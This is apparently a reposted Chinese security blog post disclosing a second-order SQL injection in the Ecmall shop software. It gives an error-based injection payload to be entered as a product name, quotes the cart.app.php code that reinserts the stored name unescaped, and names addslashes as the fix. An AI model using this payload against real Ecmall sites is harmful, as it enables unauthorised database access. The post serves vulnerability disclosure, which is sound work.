20140618做了些过滤但是还是能勉强绕过

首先注册一个会员 然后发布以上商品

然后转义入库 入库后转义符消失

商品名称 商品分类 品牌 价格 库存 上架 推荐 禁售 操作

全选

xxx'and extractvalue(1,concat(0x5c,(user()))),1,1,1,1)# 10.00 100 [可编辑] [可编辑] 编辑 | 删除

发布一个如上的商品

然后找找出库的地方

在app/cart.app.php中

 

function add()
    {
        $spec_id   = isset($_GET['spec_id']) ? intval($_GET['spec_id']) : 0;
        $quantity   = isset($_GET['quantity']) ? intval($_GET['quantity']) : 0;
        if (!$spec_id || !$quantity)
        {
            return;
        }

        /* 是否有商品 */
        $spec_model =& m('goodsspec');
        $spec_info  =  $spec_model->get(array(
            'conditions'    => $spec_id,
            'join'          => 'belongs_to_goods',
        ));

        if (!$spec_info)
        {
            $this->json_error('no_such_goods');
            /* 商品不存在 */
            return;
        }

        /* 如果是自己店铺的商品,则不能购买 */
        if ($this->visitor->get('manage_store'))
        {
            if ($spec_info['store_id'] == $this->visitor->get('manage_store'))
            {
                $this->json_error('can_not_buy_yourself');

                return;
            }
        }

        /* 是否添加过 */
        $model_cart =& m('cart');
        $item_info  = $model_cart->get("spec_id={$spec_id} AND session_id='" . SESS_ID . "'");
        if (!empty($item_info))
        {
            $this->json_error('goods_already_in_cart');

            return;
        }

        if ($quantity > $spec_info['stock'])
        {
            $this->json_error('no_enough_goods');
            return;
        }

        $spec_1 = $spec_info['spec_name_1'] ? $spec_info['spec_name_1'] . ':' . $spec_info['spec_1'] : $spec_info['spec_1'];
        $spec_2 = $spec_info['spec_name_2'] ? $spec_info['spec_name_2'] . ':' . $spec_info['spec_2'] : $spec_info['spec_2'];

        $specification = $spec_1 . ' ' . $spec_2;

        /* 将商品加入购物车 */
        $cart_item = array(
            'user_id'       => $this->visitor->get('user_id'),
            'session_id'    => SESS_ID,
            'store_id'      => $spec_info['store_id'],
            'spec_id'       => $spec_id,
            'goods_id'      => $spec_info['goods_id'],
            'goods_name'    => $spec_info['goods_name'],
            'specification' => trim($specification),
            'price'         => $spec_info['price'],
            'quantity'      => $quantity,
            'goods_image'   => $spec_info['default_image'],

这里出库后 goods_name没转义。

造成了二次注入。

 

Ecmall某处SQL二次注入第一弹 – 网站安全 – 自学p插图

直接出数据

 

修复方案:

addslashes

    上一篇: fengcms任意文件下载 - 网站安全 - 自学php

    下一篇: URP综合教务系统通杀(无需登录,可操作数据,
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《Ecmall某处SQL二次注入第一弹 – 网站安全 – 自学p
   

还没有人抢沙发呢~